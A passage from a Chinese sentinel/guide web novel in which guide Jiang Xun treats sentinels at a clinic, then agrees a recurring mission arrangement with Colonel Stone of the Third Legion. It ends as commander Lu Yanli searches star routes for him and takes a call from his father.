“哼！现在圣所的年轻人，性子真是越来越浮躁了！一点儿不如以前的向导们稳重。”罗纳德的声音不高，似乎是在自言自语，可音量却足以让在场所有的哨兵听个清清楚楚，“才来一天，就整这么大的噱头，以为自己是救世主吗？十分钟疏导一个？谁知道他到底用了什么法子，有没有什么隐患？也就这些没见识的哨兵愿意相信了……” 他的目光扫过坐在夏因诊疗室门口的几个哨兵，眼神中带着明显的轻蔑。说完，也不管众人是什么反应，看向自己门口的电子屏，喊出了下一个号码：“三号进来！磨磨蹭蹭什么？动作快点！” 话落，也不看那个尴尬的被点到名站起身的哨兵，“砰”一声便重重摔上了门。 众人将这一幕尽收眼底。娃娃脸怜悯地看一眼那个一脸憋屈，却还是忍下了脾气，匆匆走进罗纳德诊疗室的哨兵，忍不住撇了撇嘴，用极低的声音小声嘀咕：“嚯，这酸味……隔这么远都闻到了。” 斯通眼里带着些警告瞥了他一眼，他忙吐了吐舌头，状若无事地扭过了头。 摩尔根则挑了挑眉，看向江寻诊疗室的眼神更加好奇了。 瘦高个推了推眼镜，看了看罗纳德那边，又看了看江寻那边，目光若有所思。 斯通面无表情，心中却对这位“夏因向导”的重视度再次上升了一层。才来了一天，就能让已经在疏导所中工作多年的资深向导如此忌惮，这本身就说明了很多问题。 随后，候诊区中又安静了下来，只有几名护士不时穿行在候诊的人群之中，随时观察着众人的状态。 接下来的差不多两个小时里，斯通看着夏因的诊疗室房门开开合合。几乎每隔十到十五分钟，那扇门就会开合一次。 进去时或是躺着，或者拖沓着步子，一脸焦虑烦躁亦或麻木痛苦的哨兵，出来时无不是一身轻松，步伐轻快，面上带着如释重负的舒爽笑意。 娃娃脸不住地低头看着终端上的时间，翘着手指一个个数着，不禁咂舌，“这么快？”他忍不住扭过头，小声对摩尔根说道，“你看那边那个老家伙，这么半天了才疏导到第二个，这个夏因向导，都十几个了，这效率也太吓人了吧？该不会真的和那个老家伙说的一样，有什么问题吧？” 说着说着，他有些担心地扭了扭椅子上的屁股，显得有些坐立不安，“咱们的等级都不低，就这么过来让他疏导，不会出什么事吧？” “时间确实短，但是应该没什么问题吧。”瘦高个低声回道，“这么多人都接受疏导了，里面也不乏积年的B级哨兵，要是有问题，不可能所有人都看不出来。看他们出来时的状态……要么就是效果确实好，要么就是效果普通，但是他有什么特别的方法能短暂迷惑感官吧，嗯……比如情绪共振、初级幻象什么的。向导嘛，想要迷惑住哨兵的感觉信号还是挺容易的，特别是作为医生，哨兵对他没有防备的时候。” 摩尔根摸着下巴，露出抹得意的微笑：“啧！看看，刚才还给我甩锅，要不是我，咱们哪能看出来他的不一般啊！” 听到这话的其他人无不翻着白眼斜他一眼，离得最近的那个精神小子还一肘子怼了他一下。 斯通没有参与身后叽叽喳喳的讨论，只是默默地看着，计算着时间与人数。他的等级已经到达了A级，比这里所有人对于精神力场的感应都要敏锐得多。 不同于其他人看到的表象，他一直观察着的，都是这些哨兵周身的精神力场。那一个个驳杂浑浊的力场，就在他的眼前，变得轻灵活跃，没有比这个更能证明疏导效果的了。 不仅如此，还有一个其他人没注意到的现象，让他十分在意。 这位夏因向导，不光是疏导的速度很快，还始终没有休息过。要知道，由于精神海总量的限制，基本上每个向导在疏导结束，接受了一定精神补偿之后，都要稍微休息一会儿。 一是缓和自身还未平息的精神力，为下一次疏导做准备。二是在这段时间里，让精神补偿的效果发散出来，恢复精神力。 像夏因这样一刻不停地放人进去疏导，难道是对精神补偿的要求比较高，所以补偿效果很好，生效时间短？ 若是如此，军部这些对精神补偿都很生疏的战士们，可能会达不到对方的预期。斯通不知道对方会不会因为这个，觉得他们的态度不够诚恳，对他们产生不好的观感。 但无论如何，在他的亲眼所见之下，夏因的疏导速度与效果，已经远远超过了他的预期，抵达了他从没见到过的一个领域里。 每一次房门的开合，都让这个夏因向导在他心中的分量更添了一分。 又过了半小时左右，号码终于排到了他们一行人。 “哪位是摩尔根先生？轮到您了，请进。”门口的护士送走了上一个一身轻松，雀跃着离开的身影，叫到了摩尔根的名字。 摩尔根精神一振，立马站起身来，甚至还整了整衣着，对着其他人丢去个“看我的”的眼神，跟着护士走了进去。 很快，大约十分钟之后，他便推门重新走了出来，脸上的表情是前所未有的舒爽和恍惚，待被周围那些急不可耐的同伴们抓住，回过了神来，这才露出一副难以置信的亢奋表情。 他用力地伸展了一下筋骨，身上立马“啪啪啪”地发出一阵骨节脆响。而后，对着同伴们无声地比了个大拇指，眼神亮得惊人。 众人一见他的反应，心中更痒，几个排在后面的已经把他扯了过去，凑在一起小声嘀咕了起来。 而就排在下一个的娃娃脸，则眼冒精光地跳了起来，几乎是小跑着，跟着护士一头钻进了诊疗室里。 接下来，瘦高个、大块头……他们的速度很快，几乎每个人都是十分钟左右。这可能与他们本身堕化度还不算太深有关。 但每一个进去的人，出来时都像是脱胎换骨了一般。 娃娃脸甚至激动得脸颊通红，一个劲地跳着脚念叨：“太舒服了！这也太舒服了！感觉整个人都轻飘飘的！” 瘦高个则显得更沉稳些，还想通过他的经验与分析，说出些更精准的描述。但此时，也兴奋得语不达意，只是不停地爆粗口，表达着自己的心情。镜片后的眼睛闪烁着亢奋的光，稍稍冷静下来之后，对着斯通低声道：“头儿，这位夏因向导……真的名不虚传！你可要好好表现啊！” 下属们毫不掩饰的推崇和激动，让斯通对即将到来的疏导，也罕见地升起了一丝期待。 “下一位，斯通先生。”护士翻着记录，终于叫到了斯通的名字。 斯通站起身来，深吸一口气，久违地感到了一丝紧张，在诊疗室门口停顿了一下，这才推开门，走了进去。 诊疗室内整洁温馨，不像是冰冷的疏导所，倒像是寻常人家里。 江寻此时正坐在诊疗桌后，低头整理手里的资料。听到推门声响起，抬起了头。 阳光透过身后的窗户，洒在他身上，那张温和好看的脸上，经过了一天的工作，也不免带上了些疲乏，但那双沉静的眼眸，却依旧清澈明亮，一眼看过来时，便似看进了人心里。 看到斯通进来，江寻不着痕迹地打量了他一下，而后微微颔首，声音温和：“斯通先生，请坐。” 斯通依言，在高背软椅上坐了下来，隔着一张诊疗桌，与江寻相对而坐。 他的目光落在江寻面上，第一次在近距离，看到了这位在圣所与这个疏导所里，皆掀起了一阵风波的年轻向导。 距离他第一次在灵枢中心见到他，似乎还没有过去很久，可他已经显得沉稳了许多，眉目低垂下来，脸上那份专注的气质也更加内敛了起来。 江寻翻阅手上的登记资料良久，凝眉抬头看向面前的人。 “斯通先生，您已经是A级了，而且，”江寻用手指点了点表格上堕化值那一栏上填写的数字，“堕化值已经快到50%，很危险了。”他疑惑地问道，“您之前是一直没有找向导疏导过吗？” 江寻的问话把斯通的思绪拉了回来，他深深看了江寻一眼，“找过的，但是一来，我平时的战斗任务比较多，堕化值上升速度速度太快，难以延缓。二来，我能约到的能够为A级哨兵疏导的高阶向导，与我的匹配值都太低了，疏导的效果不尽如人意。所以，堕化值始终降不下去。” 江寻的指节叩击在桌面上，一下一下。 从昨天到今天，他已经为将近四十名哨兵疏导过了。虽然这里面大部分都是低级哨兵，且他使用的都是最省精神力的浅层链接，但总消耗依然相当可观。 况且来科里亚之前，他的精神力本来就没有恢复完全，这样短时间内的大量消耗下，精神力大概只有全盛时期的三分之一了。 即便他的精神力总量已经达到了A级的水准，可此时，也无法保证能完成对一位A级哨兵的疏导。 思忖了良久，江寻终于暗叹一口气，迎上了斯通的视线： “斯通先生，以我现在剩余的精神力，我不能确定是否能为您完成疏导。我需要先为您进行一次全面的精神评估，如果可以的话，就马上为您疏导。若是我判断以我如今的力量无法胜任的话，您可能就需要过两天再过来，或者再寻其他的向导来帮忙了。” 斯通理解地点了点头，对方一天的劳碌他看在眼里，况且，他是A级，对方是B级，越级疏导，本来就困难，这番话合情合理。 “请您伸出一只手来，放松。”见对方同意，江寻也不再犹豫，伸出右手，掌心向上。 就在斯通的手掌与江寻相握的瞬间—— 空气中仿佛响起了一声虚幻的长鸣。 明明两人的接触之间，没有强力的精神力碰撞，也没有明显的能量波动，可两人皆是浑身一震，一股奇特的感受涌上心头。 数道凝练到极致的精神力丝从江寻掌心之中喷涌而出，无声地从两手相接处，探入了斯通体内。 斯通的身体瞬间绷紧了起来！ 不同于刚才其他人描述过的舒适感觉，他感受到的是一种，更深层更直接密切的刺激。 这股外来的陌生精神力，就这么无比顺滑地渗透进了他的身体。 明明表面上看起来温和又平稳，却在一探入他的经脉的刹那，便显现出了强大又霸道的力量，温和却不容置疑地在他的体内奔腾流转。 江寻也在自己的精神力丝探入对方的经脉时，感觉到了不同。 对方的精神力好似对他的入侵毫无抵抗，一经碰触便温顺地退败而走，他的精神力丝运转在对方的经脉里，畅通无阻，几乎没有遇到一丝的有效抵抗。 同时，他那久未发动的感应心绪能力再次被动触发，接收到了一些明显不属于他自己的感受。 一种源于灵魂深处的强烈吸引。 江寻顿了一下，眼中闪过一抹了然。 原来如此，既然是这样的话…… 江寻不再吝惜精神力，大量精神力丝再次凝聚，随着他的心念，无比温和却坚决地跟着前辈的脚步涌入。 每一根头发丝般细微的精神力丝，都如同最灵巧的探针一般，顺着江寻的心念被送到各自的位置，而后精准地找到那些附着在哨兵血脉经络之中的污染，快速地将它们剥离开来。 在这个过程中，江寻的心神专注到了极致，指尖在虚空中极其细微地不停颤动，额角迅速渗出滴滴细密的汗珠，脸色也在以肉眼可见的速度变得苍白。 显而易见，要疏导一位堕化值高的A级哨兵，对江寻的消耗远超之前的任何一位病人！若不是有特殊原因加成，他绝不会在如今这样的状况下动手疏导。 江寻此刻不敢有一丝分神，全部的心神都被面前哨兵体内的那些污染节点所占据。 不同于江寻的劳累与心神耗费，此时的斯通却双目茫然，心神被一股源于灵魂的奇异吸引完全占据。 这种感觉十分奇怪，就好像对方与自己的精神力，在某个深层维度上产生了共鸣，打开了某种通道。而两人最本质的某种东西，在这个通道中完成了交换与共振。 这种好像被另一人完全看透的感觉，让斯通的精神力场不受控制地猛烈激荡了起来，可连这激荡本身，似乎也与对方完成了共振，让斯通的心神不断震动起来。 在这样的奇妙疏导中，时间仿佛被无限地拉长。 斯通沉浸在这种触碰到灵魂的共鸣中，久久不能回神。随着体内的沉疴一点点散去，沉重的负担被慢慢卸下，纠缠的痛苦被缓缓抚平，一种久违的生气从他身上涌现，轻松、愉悦的感觉弥漫全身。 终于，江寻指尖的动作缓缓停了下来。 他深吸一口气，慢慢收回了手，掌心那些无形的精神力丝已经崩散了许多，剩下的也在两人的手掌分开之后，渐渐在空气中消失了踪迹。 江寻扶着桌沿，深深喘息了几下，让体内沸腾的精神海慢慢平息下来，这才看向了斯通，出声询问：“疏导结束了，感觉怎么样，斯通先生？” 上一秒，斯通还双眼一片茫然，似乎失了神一样。下一秒，他便猛得睁大了眼，那双始终锐利认真的眼眸，此刻却盈满轻松愉悦之色。 斯通下意识的第一时间检查自己的身体。 眼前不时出现的黑白花点消失不见，长期盘踞的偏头痛也没了踪影。精神力流淌在经脉中，再无一丝滞涩，思维前所未有的清晰通透。 就连他的五感敏锐度，似乎都上了一台阶，与自身精神体的联系，更加清晰紧密了起来。 “不可思议……”斯通出口的声音无比沙哑，他站起身来，发自肺腑地向着江寻鞠了一躬：“您的疏导，名不虚传！谢谢您，夏因向导！” 江寻点了点头，在平板上快速地记录着，声音同样沙哑了下来，带着抹不去的疲惫：“您的精神力基础雄厚，精神海深不见底。这次我为您疏导清除了精神图景外部，及经脉中的大部分阻塞，但已经遭受污染的图景内部核心，及受损的体内运转通道，仍需要更长时间的温养，与绑定向导的多次疏导。您近期务必要避免彻底拟化，最多可以短时间使用一下部分拟化，最重要的是，注意休养！” “是，我记住了。”斯通认真应道，看向江寻的目光中，充满了感谢与深深的欣赏。 江寻的感应笔在手中的平板上快速书写，而一直在房间里观摩着的护士，也已经走上前来，准备接下江寻开出的处方，带着斯通前去取药。 江寻低着头，在一阵快速书写之后，将处方同步到了护士的端口上。同时，极其自然地从身边的便签上撕下一张纸来，快速写下几个字，不着痕迹地塞给了斯通。 斯通一楞，想到了什么，正要低头查看，却被江寻打断。 “出去再看吧，斯通先生。” 江寻深深看了斯通一眼。看着护士将对方带出了诊疗室，手中按下了下一个号码。 第132章 斯通一走出诊疗室， 便被下属们团团围了上来。 看到自家团长虽然神态一如往常的严肃，但眉眼间，那股常年挥之不去的紧绷感已经明显消散， 眼神也显得清正平和了许多， 众人挤眉弄眼地互相看看， 脸上纷纷露出了“果然如此”的兴奋笑容。 “头儿，感觉怎么样？是不是特别棒？”娃娃脸一脸激动地问。 “团长，你的状态看起来好多了呀！”大块头难掩兴奋。 “嘿嘿， 团长， 你怎么在里面呆了这么久，该不会……”摩尔根双眼发亮，用力拍了下大腿。 “哎呀，你们别这么激动，团长你倒是说呀！”一直不怎么说话的和善男人此时也急了。 精神小子一听来了劲，凑上来， 用眼神疯狂示意， 压低声音：“头儿， 是不是有状况？！机会啊！给夏因向导做精神补偿了没有？你主动点亲近一下呀！” 其他的人也纷纷挤了上来，扒拉着斯通七嘴八舌地问着详情。 斯通刚经历完疏导， 此时的心情也轻松了许多，不像平时那么严肃规整。看着身边这群闹腾得厉害， 一个劲儿怂恿着他的皮猴们，也没有冷声训斥， 只是轻描淡写地随意打发了几句。 众人见斯通半天也没有什么表示，深知自家团长性格的下属们纷纷开始唉声叹气。 直到这时，斯通才轻咳一声，从手里拿出了那张折叠起来的纸笺。 “哇！团长你可以啊？！这连小纸条都传上了？”一眼看到这张小纸条， 摩尔根眼睛一亮，激动得忘了形，一巴掌拍在斯通背上，引来他的一个瞪视。 可此时的摩尔根哪还顾得上斯通的反应，眼睛已经被那张小小的纸条牢牢吸住，恨不得抢过来替他打开。 “哎呀，你快看看，里面写的啥？”娃娃脸个子矮，那纸条被斯通捏着，刚好在他的眼前。他扒着斯通的胳膊不放，兴奋地恨不得透过那纸看见里面的内容。 “哎呦！哎呦！我知道了！”精神小伙突然想到了什么，眼中精光四溢激动非常，“刚才夏因向导都没让你们给他精神补偿吧？”他对着同僚们挤眉弄眼，“该不会是单独约了团长给他私下补偿吧？” “真的吗？真的吗？”众人闻言，纷纷兴奋了起来，亢奋之下，说什么的都有。 “正常补偿的话，在诊疗室就可以直接做吧？这还专门约咱们团长，该不会是……” “不是吧？咱们头儿还没人夏因向导长得好呢，人家能第一次见就约私下补偿？哎呦！别打别打！我没有说头儿长得丑的意思！” “这夏因向导，该不会就喜欢咱们头儿这一款的吧？这不是他们那些学院少爷总说的那什么‘禁欲气质’吗？” “不会吧？那夏因向导怎么没有约我？我觉得我比咱们团长长得好看吧？” “你好看个屁！滚滚滚！” 一张小小的纸条便轻易点燃了众人的热情，一时之间各种猜测满天乱飞。 其实斯通也倾向于这个想法，他相信刚才疏导时的那种特殊感受，不止是他一个人感觉到了，夏因作为对精神力的细微变化更敏锐的向导，肯定也有所觉察。 这可不是随便什么人之间都能产生的现象，而是高匹配度下，才会引发的特殊吸引。 在高匹配度下，精神补偿不光效果很好，补偿时引发的感官快感也非寻常可比，很少有人能够抗拒。不论是哨兵还是向导，一旦发现了与自己高匹配度的对象，一般都会和其保持比较亲密的关系，成为绑定备选。 况且为他疏导所需要耗费的精神力，可非寻常中阶哨兵可比，夏因劳碌了一天，如果始终不接受补偿的话，他明天要怎么维系？ 虽然一般来说，给与精神补偿，都是接受疏导的哨兵需要承担的责任，但如果向导有意在绑定前与某几个哨兵保持固定的亲密关系，也是会让这些哨兵负责他全部的精神补偿的。直到最终从中挑选出一人，固定绑定关系。 不过这种级别的精神补偿的话，可就不是简单的肢体接触能够满足的了。 斯通久违的有些紧张，他早就听说过这种高匹配度哨兵向导间的亲密关系，但是一是自己一直忙于军务的，二是因为他也没有特意去寻找过与自己高匹配度的向导，所以还从没有与谁建立过这种关系。 今天接到夏因纸条的时候他也非常意外，在他的印象里，夏因向导好像不是会与第一次见面的哨兵建立固定关系的人，他不确定自己的表现会不会令对方失望。 怀着这样的心思，斯通打开了手中的纸条。 出乎他意料的是，纸条上不是某个酒店或者住所的地址，而是让他在疏导所里等其下值。 斯通的头脑瞬间冷静了下来。 在这种场合，那就应该不是他们猜测的意思了。 斯通暗叹一口气，不知道是放松还是遗憾。 他思量片刻，仍不太确定对方的意图，只好作罢。 此时，身边的下属们也看到了斯通的脸色变化，面面相觑中，慢慢安静了下来。 “夏因向导让我留下等他，可能是有什么话想要和我谈。”斯通想到了一个最有可能的解释，“嗯……我留下，你们几个，先回舰艇去吧。” “这……”摩尔根几人张了张嘴，互相对视几眼，有些忐忑，“该不会真让我们猜中了，夏因向导知道是我们在背后动了手脚了？” “不可能吧？我们不都隐藏着身份过来的？更何况，就算他知道我们是第三军团的人，也猜不到他的强制任务和我们有关系吧？” “那总不能是让团长在这里给他补偿吧？” “不知道啊……也不一定是坏事吧？说不定是想先和团长互相了解下？” “在这里？怎么说也该找个更私密的地方吧？” 几人面面相觑，讨论半天也没讨论出个所以然来，有些心虚地看向斯通。 斯通深深地吸了一口气，压下心头的种种猜测：“若是真的被他知道了，那就好好道歉，第三军团的人，从不畏惧承认错误。行了，你们先回去吧。” 见斯通心意已决，众人不再多说，带着复杂的心情，迅速离开了候诊区。 他们一走，四楼还剩下的人就更少了。 斯通的心绪平静下来，不再多想，安静在候诊区中等待着所有的疏导结束。 * 夕阳斜照，疏导所内渐渐安静下来。 右侧罗纳德的诊疗室中，早已人去室空。左侧的大门，终于也在“咔哒”一声过后被推开。 “回去注意休息，按时吃药，一周后过来复查。以后不要随意接触外域来的不明物品。”江寻站在门前，向最后一位患者叮嘱道。 “好的好的！谢谢夏因向导！”年轻人向着江寻连连道谢，随即跟着护士一起离开。 江寻深深呼出一口气，活动一下脖子，目光这才落在了已经站起身来的斯通身上。 此时的斯通，身上的伪装近乎散尽。 虽然还是一身便装，但那站姿、眼神，与身上那层勃勃锐气，都在昭示着他的身份。 “斯通阁下，劳您久候了，请进！”江寻面上依旧温和含笑，很好地安抚了斯通渐渐紧绷起来的情绪。 斯通深深地吸了一口气，不再迟疑，大跨步地向着江寻走去。 诊疗室的门轻轻合上，隔绝了内外。 空气中似乎还残留着仍未完全平息下来的精神力余韵。 一时之间，无人说话，室内陷入一种奇异的静谧。 斯通站在诊疗室中央，身姿挺拔如松，身上那份久经磨砺过后的锐利锋芒，在面对江寻时，悄然收敛了下来，化为一种沉静而有力的气场。 江寻将斯通引至椅子上坐下，清凌凌的双眼迎上对方坦然的目光，正式开始了两人的谈话。 * “斯通阁下，”江寻率先开口，打破了沉默，“或者说，第三军团的斯通上校？” 斯通微微一怔，随即释然。“您知道我？” “是的，”江寻点了点头，“您当时去了灵枢中心吧？早已听闻过您的大名。” “不敢当，”斯通了然地微微颔首：“原来如此。抱歉，夏因向导，今天我们并非刻意欺瞒，只是不想以军部的身份，给这次接触带来不必要的压力或者误解。” 他顿了顿，双眼坦然而诚恳地直视着江寻。 “既然您已经知道我的身份，那我首先必须向您坦诚一件事。关于这一次，您被强制指派到科里亚星，来进行医疗援助的任务，背后有第三军团的推动。更确切的说，有我本人的推动。”他的目光直视着江寻，话语中虽有歉意，但看得出来，并无后悔，“是我们急于找到一个渠道接触您，只是所用的方式欠妥了，我代表第三军团，以及我个人，向您诚恳致歉。” 他郑重行礼，丝毫没有作为军部高官的架子。 江寻坦然受了这一礼，他倒不是嫌弃工作繁忙或者环境杂乱，只是天生不喜欢被人所迫，被强制指派任务时，心中确实有些怨气。可他也知道自己势单力孤，遇到这样的局面在所难免。 对方能够诚恳地对他致歉，倒真是消解了他不少怨气，心中对于斯通的观感也好了些。 “我理解，这份致歉，我收下了。”江寻的声音很稳，话说得不卑不亢。 斯通眼中闪过一抹赞赏。对方不仅十分聪明，也比他想象的更沉得住气。 “感谢您的理解，但这不能改变我们确实行为失当的事实，所以，我想，在谈论其他事情之前，应该先对您道歉。希望这件事不会影响到您对我们第三军团的观感，也希望您能感受到我们的尊重与坦诚。” 江寻点了点头，示意他继续说。 斯通挺直脊背，进入正题，“其实，这一次来，我们是想要对您发出一个正式的邀请。”他顿了顿，“第三军团，乃至整个联盟军部，都极度缺乏像您这样的高阶向导。” 斯通再次停顿了一下组织语言，“您的能力，在圣所中就有所展现，而今天，在这疏导所里，我们更是亲身体验到了您的强大。但是比能力更重要的是，在您的心中，对于哨兵始终有着尊重和理解，您可以不分等级的去救助需要帮助的人，并且非常顾及对方的感受，能够为了对方更加舒服一些，更换疏导手法，我觉得，这是您身上最为可贵的品质。” 他加重了语气，“我知道现在还有其他的势力方同时在争取您，但我相信，您是最适合军部的向导，我们需要您，不是为了某个特定的对象，而是为了那些为了维护联盟的和平，在前线生死挣扎，时刻都处于堕化阴影下的士兵们。” 他的身子微微前倾，目光灼灼地看向江寻：“我代表第三军团，正式邀请您在毕业后加入我们。希望您可以好好考虑一下我们的邀请。” “我们虽然无法提供像世家那样充沛的金钱、资源，也无法给予像塔那样高的社会地位与安全保障，但我们一定会尽我们所能，为您提供能力范围内最好的待遇！最重要的是，”斯通眼神认真，“在军令之外，我们将给予您最大程度上的自由，绝不干涉您的匹配选择。您将获得完全的自主权去选择、决定是否与任何一名或多名哨兵建立固定关系。” 江寻稍感惊讶，看向斯通：“包括你在内？” “是的！”斯通郑重点头，“包括我在内！” 听对方说到了这里，江寻终于有了一些意外。他知道斯通也是缘于那一次强制匹配度测试，他原本以为对方今天的邀请，是来请自己与他绑定，没想到他居然会说出这么一番话来。 此话一出，江寻对斯通的观感更佳。 但是，好感归好感，这么点儿好感，还不足以改变他的决定。 “非常感谢第三军团与斯通上校对我的赏识，但是……”江寻顿了一下，斯通的心微微提起。 “但是我现阶段的规划，仅仅是在圣所中专心完成研修，系统学习好向导的高阶知识，提升自己。”即使面对着军部要员，江寻仍然坦然地说出了他的打算，“至于未来的职业规划，我还没有具体的打算，至于绑定，更加无从谈起，非常抱歉。” 斯通的心一沉。 “不过……”江寻话锋一转，斯通立刻从这个转折里听出了点其他的意思，微微前倾，专注聆听江寻的话语。 “对于军部如今的困境，我非常理解，也很钦佩各位战士对于联盟的贡献，愿意贡献出自己的一份力量。如果第三军团需要我的疏导能力的话，我想，我们可以建立一种更好的合作关系。” “哦？”斯通眼神一亮，“您请说？” “很简单。”江寻点开自己的向导核心，滑到圣所任务调度平台，“既然这次我的强制任务，有第三军团在背后的推动，”江寻看了斯通一眼，斯通歉意地微微点头，“那您应该知道，除了您这边之外，还有其他势力在背后遥控着我的每月强制任务。” “我身在圣所之中，势单力薄，没办法阻止对方的操作，也不可能一直任由对方安排我的任务，这样对我来说不仅毫无价值，也非常危险。我想，我们可以通过另外一种方式合作，在达成目的的同时，解除掉这个隐患。” “您是说……”斯通一楞，似乎想到了江寻想要提出的建议。 江寻肯定地点了点头：“没错，我们可以以每月强制任务的形式合作。你们可以在任务系统中，以向军部进行医疗援助的名义，向我发布长期定向任务，然后由我这边来接取。这样，我接取了你们的任务，就不会再被对方所胁迫，在按照规定完成圣所要求的同时，也能定期为军团提供疏导服务。一箭双雕，各取所需。” “这……这确实是个绝妙的主意！”斯通思维急转，越想越觉可行，对于夏因更添一分激赏。 他预想过被夏因以各种理由拒绝，亦或对方会提出更多的要求来讨价还价，却完全没想过对方会提出这样一个既为自己规避了风险，又切实可行，且对他们军团也非常有利的方案！ 这个方案的价值远超他最初的期望。能在现阶段，就每个月定期获得这样一位能力高超的B级向导的医疗支援，这种方案，比他刚开始提出的，邀请对方在毕业后加入他们第三军团的方案，对他们更好，他不可能会拒绝！ “这……我们当然愿意配合，但是，军团里的士兵人数众多，每个月的战斗任务也很重，大家积压的精神压力非常大。我们那里的疏导任务，可能比公共疏导所中更繁重辛苦，这样，您也愿意接受吗？”斯通心动之余，仍是坦诚地告诉了江寻真实的情况。 “是的，我愿意接受。”江寻肯定地点点头，补充道，“当然，任务更重的话，相应的任务报酬也要增加一些。” “这是自然！军部的报酬绝对会让您满意的！”斯通毫不犹豫地承诺道。 话至此处，两人已经基本达成了共识，双方都对这个合作计划非常满意。诊疗室中的气氛彻底缓和下来。 到了此时，斯通才想起一个今天一直盘桓在心头的疑问，看了看江寻，忍不住问了出来：“夏因向导，恕我冒昧，今天看您的疏导过程，我一直有个疑问。我看您今天一直在为所有人疏导，却始终没有接受精神补偿。” 想到他调查到的信息，斯通又补充道：“我听说，您在圣所的时候也没有关系特别密切的哨兵。您现在拒绝绑定，想要专心学业，这个我能理解，但是，为什么连固定的保持亲密关系的哨兵都不要呢？您一直都没有接受过精神补偿吗？” “抱歉，我问的可能比较隐私，但是，精神补偿，这个形式虽然经常让人联想到不太好的方面，但它本身的的确确是对您精神海的必要保护。而且，如今这种与复数个哨兵保持固定关系，定期接受精神补偿的形态，也是许多高阶向导间流行的常态。可您似乎，一直在刻意回避与任何哨兵建立特殊联系？”斯通观察着江寻的神色，“您是有什么特别的顾虑吗？” 江寻被这个突然的问题问得一顿，似乎想起了什么，眼神飘忽了一瞬。 他忽地抬头，目光穿过科里亚灰蒙蒙的天空，投向无限远处。沉默了几秒，再开口时，声音中第一次带上了一些不确定的情感： “不是什么顾虑。”他收回目光，看向斯通，眼神中却似蒙了一层薄雾，“只是……可能有人在远方等我。我曾经答应过他，只有他一个。虽然我还不能确定自己的感情是什么，在找到他之前，也无法确定他的想法，但我希望在此之前，能为他保留好这唯一的位置。” “所以，在弄清楚之前，我都不会考虑和其他任何人建立超出界限的关系。”江寻语气平淡，却带着不容置疑的坚定。 斯通瞳孔微缩，这个答案完全出乎他的意料！ 眼前这个走到哪里都炙手可热的高级向导，竟然就为了一个不确定的承诺，拒绝了所有捧到面前的诱惑，甚至连他人的精神补偿都不愿意接受？！ 这在他的认知中，是从没想过的事情。 可他看着江寻认真的神态，平静的话语，心中却万分肯定，面前的人不是在找借口拒绝他，也不是刻意为自己塑造形象，这就是他真实的想法。 斯通不由为对方对于承诺的那份纯粹的忠诚所震撼，为自己曾经有过的私心感到自惭形秽，同时，也在心头涌起一股微妙的羡慕之情。 “我明白了。”斯通的声音低沉下来，带着前所未有的郑重，“非常抱歉触及您的私事，您的这份坚持，令人钦佩。” 他站起身来，向江寻行了一个标准的军礼，动作干净利落，充满了敬意，“第三军团尊重您的一切决定！定向任务的合作方案，我代表第三军团，完全接受！后续的细节，我会尽快与军部及军团长沟通，到时候，会以正式文件的形式发给您确认。” 他放下手来，心中畅快，眼神坦荡：“那么，祝我们未来合作愉快，夏因向导！很期待下次在军团驻地与您再会。” 这一次，他脸上再无忧虑与心虚，笑容纯粹而明朗。江寻在他眼中，不再仅仅是一个普通的，代表着力量的“高级向导”，而是拥有了独属于自己的色彩。 “合作愉快，斯通上校。”江寻也站起身来，向着对方伸出手。 两只截然不同的大手有力地握在了一起。 没有任何的试探与暧昧，只有纯粹的信任与认可。 斯通再次向着江寻颔首致意，随即，毫不拖泥带水，利落地转身，大步离开了诊疗室。 门外，铿锵有力的脚步声迅速远去。 江寻站在原地，看着面前慢慢合拢的门扉，轻轻呼出了一口气。 事情比他预想的顺利，这一次，不但解除了今后的一个隐患，还获得了一个可靠的合作伙伴。 他低下头来，手掌插入衣兜，指尖无意识地摩挲着那块一直贴身携带着的铭牌。窗外，科里亚星的天空渐渐暗沉下来，无数晚星从天空中浮现。 江寻定定地看向那无垠的天空，他心中那个小小的影子，此刻又在天边的哪一颗星辰之上呢？—— 作者有话说：伙伴+1 第133章 另一头， 镇魂号主舰上。 冰冷的金属舱壁反射着寒光，镇魂号指挥室内，今日的气氛依旧低沉压抑。 陆厌离站在巨大的投影星图前， 目光在已经熄灭大半的航行路线上寸寸扫过。他一动不动， 身影如凝固了一般， 只有指尖在控制台冰冷的面板上极其细微地勾勒着什么。 全息星图上，长长的航线光带，从遥远的M85星系直直延伸到十字星锚点， 又从十字星锚点开始曲折前行。已经熄灭大半的光带上， 密密麻麻地标记着数十个灰暗下去的重要航道节点与枢纽星，每一个旁边都清晰地标志着“异常精神残留：XX”，“未排除：0”。 这样大海捞针似的搜寻，毫无寸进的进度，让整个舰艇上的工作人员都变得麻木了起来。控制室里一片寂静，只余引擎的嗡鸣声与不时响起的零星键盘敲击声。 “第九节点， 阿尔法-7空域， 深度扫描完成。”副官塞西尔的声音打破了沉寂， 他失望地看着手上接收到的报告，抬眼有些担忧地看向陆厌离， 声音里带着一丝干涩，“未发现异常精神残留。指挥官， 我们已进入通往中央星的主航道末段。” 陆厌离的眼睫几不可察地一颤，呼吸几乎停顿了一瞬。 还是没有…… 这条航道是经由专业的领航员反复推演， 囊括了途径十字星锚点的大部分主要节点与枢纽星。按江寻当时行进的方向来计算，他有九成以上的概率会经过这条路线上的节点。 可如今，路线已经搜索大半，他动用舰载高精度精神分析仪扫描， 一次次地搜索，却徒劳无功，眼看路线就要走到了尽头，却还是没有找到丝毫线索。 陆厌离紧紧闭了闭眼，焦虑如浸入血肉的毒液一般，腐蚀得他千疮百孔。 他有些迟钝地缓缓转身，看向塞西尔：“扫描范围扩大到行星近地轨道附近，将临近的小行星带和废弃航道也囊括进去，重新校准分析仪，将感知阈值下调5%。” “指挥官，”塞西尔迟疑了一下，“能源系统近期一直超负荷运转，继续扩大扫描范围并下调阈值的话，将极大增加响应速度，增大设备故障的风险。而且，主能源消耗速度也会大幅度提升。可能影响到星舰的基础维生系统，防御系统也将被迫下降到最低警戒级别。” 陆厌离重新看向星图，默默计算着，“启用备用能源单元，30小时后，我们会抵达科里亚星，到时候在那里补充能源物资。” 就在这时，陆厌离腕上终端“滴”一声响，一条通讯请求接入。 指尖的描摹蓦地一顿，陆厌离周身的气息瞬间沉凝下来。 看一眼发讯人，面色彻底沉了下来。 塞西尔适时抬手，所有人噤声，后退几步，连呼吸声都放轻了。 陆厌离沉默片刻，看着那讯号固执地不停鸣响，终于抬手接通。 立时，一道清晰的全息投影立刻出现在他面前。陆家当代族长，他的父亲，陆明远端坐在宽大书桌后的身影被显现了出来。 